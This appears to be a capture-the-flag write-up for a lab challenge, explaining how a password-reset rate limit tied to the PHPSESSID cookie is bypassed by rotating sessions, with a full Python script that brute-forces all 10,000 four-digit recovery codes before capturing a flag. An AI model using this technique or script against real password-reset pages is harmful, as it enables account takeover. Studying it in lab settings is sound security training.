๐ง Password Reset
Navigate to /reset_password.php and submit the discovered email [email protected].
The app responds by asking for a 4-digit recovery code.
๐งช Rate Limit Analysis
A naive brute force attempt is blocked by rate limiting. Intercepting the request with Burp
Suite reveals a Rate-Limit-Pending header in the response. The counter starts at
8 and decreases with each attempt โ once it reaches 0, the session is exhausted.
Trying to reset the page, re-entering the email, or reopening the site all had no effect โ because the
PHPSESSID cookie remained the same. This reveals the key insight: one PHPSESSID
allows exactly 8 attempts before it's exhausted.
๐ง Bypass Strategy
Sending a request to /reset_password.php with an empty PHPSESSID generates a
fresh session cookie โ each new session resets the rate limit counter. This means we can rotate
PHPSESSID tokens to brute force all 10,000 possible 4-digit OTP codes.
1
POST to /reset_password.php with empty cookie โ receive fresh PHPSESSID
2
Use that PHPSESSID to try up to 7 OTP codes (staying under the 8-attempt limit)
3
Before the limit is hit, rotate to a fresh PHPSESSID and continue
4
Repeat until the correct OTP is found
๐ Exploit Script
A Python script to automate the PHPSESSID rotation and OTP brute force:
import requests
TARGET = "http://10.48.167.101:1337"
EMAIL = "[email protected]"
def get_new_session():
"""Get a fresh PHPSESSID by posting to reset_password.php"""
r = requests.post(
f"{TARGET}/reset_password.php",
data={"email": EMAIL},
allow_redirects=False
)
return r.cookies.get("PHPSESSID")
def try_otp(session_id, otp):
"""Submit an OTP code using a given PHPSESSID"""
r = requests.post(
f"{TARGET}/reset_password.php",
data={"otp": otp},
cookies={"PHPSESSID": session_id}
)
return r
def brute_force_otp():
attempts_per_session = 7 # stay under the 8-try limit
session_id = get_new_session()
attempt_count = 0
print(f"[*] Starting with PHPSESSID: {session_id}")
for otp in range(10000):
otp_str = str(otp).zfill(4)
# Rotate session before hitting the rate limit
if attempt_count >= attempts_per_session:
session_id = get_new_session()
attempt_count = 0
print(f"[*] Rotated to new PHPSESSID: {session_id}")
r = try_otp(session_id, otp_str)
attempt_count += 1
print(f"[.] Trying OTP {otp_str} -> {r.status_code}")
if "invalid" not in r.text.lower() and r.status_code == 200:
print(f"[+] SUCCESS! OTP: {otp_str}")
print(r.text)
break
if __name__ == "__main__":
brute_force_otp()
Running the script cycles through all possible OTP codes, rotating sessions to stay under the rate limit โ
until the correct code is found! ๐
๐ First Flag
After resetting the password and logging in with the new credentials, we land on the dashboard and capture
the first flag!
๐ฉ FLAG 1
THM{AuthBypass3D}
๐ก Key Takeaways
- Rate limiting tied to
PHPSESSID can be bypassed by rotating session tokens
- Always check response headers โ
Rate-Limit-Pending revealed the session limit
- Source code comments can leak critical information like directory naming conventions
- Log files in hidden directories often contain sensitive data (emails, credentials)